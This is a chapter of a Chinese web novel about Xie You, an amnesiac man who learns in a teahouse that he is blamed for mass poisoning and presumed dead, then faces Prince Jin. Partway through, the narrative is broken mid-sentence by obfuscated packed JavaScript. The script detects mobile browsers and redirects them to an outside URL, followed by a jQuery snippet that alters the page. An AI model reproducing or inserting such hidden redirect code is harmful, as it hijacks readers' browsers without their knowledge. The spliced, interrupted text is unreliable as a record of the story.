昭宁年间，秋雨瓢泼。
京城近郊，有一茶馆依山而坐。
雨势渐急，青瓦檐下攒了些避雨人，不想一道惊雷忽作，豆大的水点子砸下来，湿了众人的鞋袜，一时抱怨声四起，好生热闹。
屋里正四处煮着热汤，人们躲在氤氲水雾里闲散叙话。唯有角落的卧榻铺了软垫，坐着位“不速之客”，与周遭的烟火气格格不入。
那人半支着身子倚在引枕上，青色的宽袖下露出一小截削瘦的腕骨。面具遮去他大半张脸，阴影下的皮肤透着瓷器褪釉般的苍白，显得十分清寂。
他指尖漫不经心地垂在手炉边缘，目光却远远落在窗外如注的雨里，像是想要透过那片白茫茫的水汽，望见什么遥杳的去处。
新来的小二端着茶盏经过，忍不住偷觑了两眼。这客人瞧着病恹恹的，瞳仁很浅，偏生那面具下的目光极冷，陡然转过来时，竟如同檐外的雨兜头浇下，让他浑身一凛。
直到邻桌的大嗓门一声吆喝，小二才猛地回神，慌忙低头退开，后背已浸透了。
“你们听说了么？归鹤台要重建了。”
这真真是个多事之秋，哪怕是丁点风吹草动，都能引起一阵轩然大波。诏下刚出半日，消息已如野火燎过京城，烧到这偏僻的山间茶馆里来了。
果不其然，话音未落，邻桌已有人接过了话头。
“莫不是开春塌了的那个？”
问话那大嗓门一听，顿时来了兴致，仰头将半壶茶一饮而尽，抹了把唇边的水渍，便娓娓道来。
原来有一书院旧案，隔世经年后终于就要了了。当年死了不少人，是以陛下隆恩，欲建“归鹤台”告慰此案亡魂。
谁曾想，楼台建成那日，这新起的台子——竟塌了。
当时主办的归鹤台一应事宜的，正是当今圣上第五子，晋王李晤。
大嗓门眼珠转了转，将屋里左右都瞧过一遭，这才压着声音道：
“要我说，这事根本怪不得殿下。他在归鹤台下被人劈晕了，动手的好像叫……谢、谢攸？”
角落里那人刚掀开手炉盖子，想往里添些银骨炭。闻言，瘦长的手指一顿，炭钳“叮”地撞在手炉壁上，发出一声清脆的响动，在潮冷的茶馆里显得格外清晰。
大嗓门浑然不觉，继续眉飞色舞。
“那谢攸当真是个狠角色，一掌就把晋王打晕了！更离奇的是，他竟还跑到台上，说当年书院案学子都是他害死的。你听听这话吓不吓人？哪知底下人还没反应过来，台子就塌了。”
“连人带台，灰飞烟灭，骨头渣都没留下半点。”
茶馆里一阵静默，唯有檐角的铁马在雨水里叮咚作响。
半晌，一声感慨打破了寂静。
“那可是好几百条性命啊……”
大嗓门一拍桌子，掷地有声：
“依我看，这人就是失了心疯。老天爷都容不下他，才让归鹤台塌掉，收了他去。”
周遭又起唏嘘，不多时，便换了新的谈资。无人留意，角落里那个身影已悄无声息地起身，踏着满地湿痕，没入了雨幕深处。
.
传闻里已经灰飞烟灭的人，此刻正立在山脚的老槐树下。竹伞撑得很低，伞面拢起一片小小的，隔绝尘嚣的天地，将他包裹其中。
那人望了眼被雨水压弯的树枝，眉头蹙得更紧，从怀里摸出方帕，细细擦过面前沾了泥点的枝干，才小心翼翼地倚了上去。
谢攸此刻很想抓个人问问：怎会如此？
这世上还有第二个只是囫囵睡了一觉，醒来就丢了大半记忆的人吗？
天地良心。
他全然不知自己做过什么事，又曾与谁交谈。上一段完整的记忆还停留在离家，一个烟雨霏霏的日子，他孤身上山，周遭挂满潮湿竹叶的清苦气。
再睁眼时，竟已寒来暑往，霜华初肃，不知过了多少个春秋。
岂有此理！
山上入冬更早些，谢攸在一场落雪里睁开了眼。
他真是被生生疼醒的。这具身子不知生了什么邪病，五脏六腑都恍若被冰锥凿过，痛不欲生，连骨缝里都渗着霜气。
好在屋子虽大，炭火倒是烧得很暖和。他倒抽了几口冷气后，不过几个来回便熟稔地放缓了呼吸，安安静静地垂着眼，将体内钻心剜骨的痛楚在肺腑间滚过整周，再细细密密地吐出去，等来新的一遭。不多时，竟也习惯了。
峰顶的黄昏只有须臾，雪里的竹林被染上一层薄寒的光。谢攸望了眼天色，拿起面具和伞，径直就往山下去。
总得打听下发生了什么事才好。
谁知进了茶馆，竟听见这样一出荒唐戏。
体内的痛还在隐隐作祟。他换了个姿势，伞面上的水顺着竹骨倾泻而下，在脚边积成一小滩水洼，映出他模糊的影子。眉间仍是紧蹙着的。
那大嗓门的话，大约是道听途说来的，几分真几分假尚且不知，可书院案的内情，确非空穴来风，谢攸心里最是清楚。
茫然与心悸铺天盖地袭来，他抿了抿唇。
.
昭宁二年的春，来得极晚。春闱放榜那日，雪下得纷纷扬扬，红帖刚上墙面，就被漫天的飞絮裹住，浸得透亮，像血中的胭脂。
榜上三百多个贡生，都住在西市的鹤鸣书院里，等候殿试。
谁曾想，一夜风雪未停，前日里还在榜上鲜活的人，第二天便全成了尸首，死状惨烈，个个嘴角凝着紫血。
他们被人下了剧毒。那毒发作得又快又烈，连挣扎的痕迹都没留下。
此讯一出，朝野震怒，连查数月，最后株连了一大批人，血流成河。
可十五年后，谢攸却说，当年处决得不对。这毒，是他制的，也是他亲手下的。
难怪茶馆里的人提起“谢攸”二字讳莫如深。恐怕如今世人都恨不得将他从废墟下拉出来鞭一通尸，再挫骨扬灰，才能解心中之愤。
可当年为什么要下此狠手，谢攸记不清了。
只记得那日后，他离开谢家，一路向北，直到上了山。
他给这座山取名“观心”。山雾漫上来时，会把京城遮得严严实实的，也把那些红的血、白的雪、哭的喊的，吵嚷的喧闹的，都隔在了雾外，一干二净。
.
雨在昏暗的天色里落得愈大，竹伞边缘的水珠串成帘，接二连三落在青石板上。
谢攸正出神地想着，身后忽然传来了急促的脚步声，混着粗重的喘息，将他的思绪扯回这一片雨幕里。
“灵、灵仙人，您且留步——”
是茶馆老板。他鬓角的发丝被打湿了，手背胡乱抹了把脸，却把水蹭得到处都是，平添几分狼狈。
灵仙人？
谢攸迟疑了一瞬，半晌，才从颠三倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411397|184595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四的话里，听明白了他的来由。
离开茶馆后，方才那个大嗓门，忽然直愣愣地栽了下去。店家急忙让伙计去请郎中，可天色晚了，这雨下得大，山路又滑，只怕郎中到时，人也没命了。
老板想起“灵仙人”刚走不久，就想出来碰碰运气，于是有了眼下这一幕。
谢攸抬手摸了摸脸上的面具，这才恍然。
难怪方才进店时，店家循着他的影，就把卧榻收拾了出来，又是添茶又是倒水，连送来的手炉里，烧的都是上等的炭火。
那会儿只当人家客气，原来是将他错认成了“灵仙人”。
不知这“灵仙人”究竟是谁。只是，听老板的意思，倒像是隐于民间的医者，在这一带声望极高，才让店家如此厚待。
谢攸心里泛起一阵涩意。
他原也是通晓医理的。上山前，年纪轻轻就是京城人尽皆知的用药奇才。可如今连前尘往事都记不全，更莫说治病救人了。
偏偏拒绝的话到了嘴边，又无论如何也说不出口。
老板的眼神，让他想起很久以前，似乎也有人用这样的目光看着他，期望他能做些什么，改变些什么。
只是那段记忆太模糊了，像被雨水浸过的宣纸，只剩下一片氤氲的墨迹，瞧不真切。
他甚至记起方才在茶馆里，那人拍着桌子，说归鹤台旧事的模样。彼时他只觉得刺耳，此刻却忍不住想，这样一个鲜活的人，若是真的就没了，倒也可惜。
谢攸不禁垂眸，长发随意地散落下来，沾上些水汽，透出几分湿冷，也冷进了他的心里。
可他不是那位“灵仙人”。
他是背负着三百多条人命，早该灰飞烟灭的罪人。若是一时心软，暴露了踪迹，引来的恐怕不仅是自己的杀身之祸，说不好还会牵连无辜。
茶馆老板是个好心人，不该被他拖累。
谢攸深吸了口气，刚想找个理由推脱了去，余光却瞥见远处的山道上，有一抹深色影子正缓缓靠近。
起初只是个模糊的黑点，在雨幕中若隐若现。随着距离渐渐拉近，才看清那是一辆乌木马车，正碾着积水缓缓停驻。
车帘是天青色的锦缎，边缘挂着细小的银铃，此刻被浸得沉甸甸的，连声响都变得闷了起来。
车檐下悬着的布幡，也被斜雨打透了。原是素色的底，此刻泡了水，倒像被浓墨重彩地晕染过一般，绣着的“晋”字也愈发鲜亮。
下车的公子一身月白华服，衣料上缀着成对的珠串，在昏昏暮色下，流转着细碎的光泽，衬得他周身气度愈发矜贵。
身旁立刻有人为他撑开油伞。他浑不在意被沾湿的衣摆，只微微侧过脸，目光穿过朦胧的雨帘，似是落在了谢攸藏身的角落。
那双眼轻飘飘地望过来，隔着一片氤氲水雾，教人瞧不真切。
晋王。
谢攸的心猛地向下一沉。他不禁庆幸起自己的脸上还有个面具，于是抬手将它压得更低些，又将身形往槐树后敛了敛，作出一副眼观鼻鼻观心的姿态。
刚听说自己犯了滔天大案，准备逃之夭夭，主审官就这么不偏不倚地出现在眼前。
偏偏来的还是这个传闻中被自己一掌劈晕了的。
雨声仿佛在天地间静了静。谢攸站在晦暗无光的荫下，当机立断，几乎不动唇地对老板道。
“带路，我跟你走。”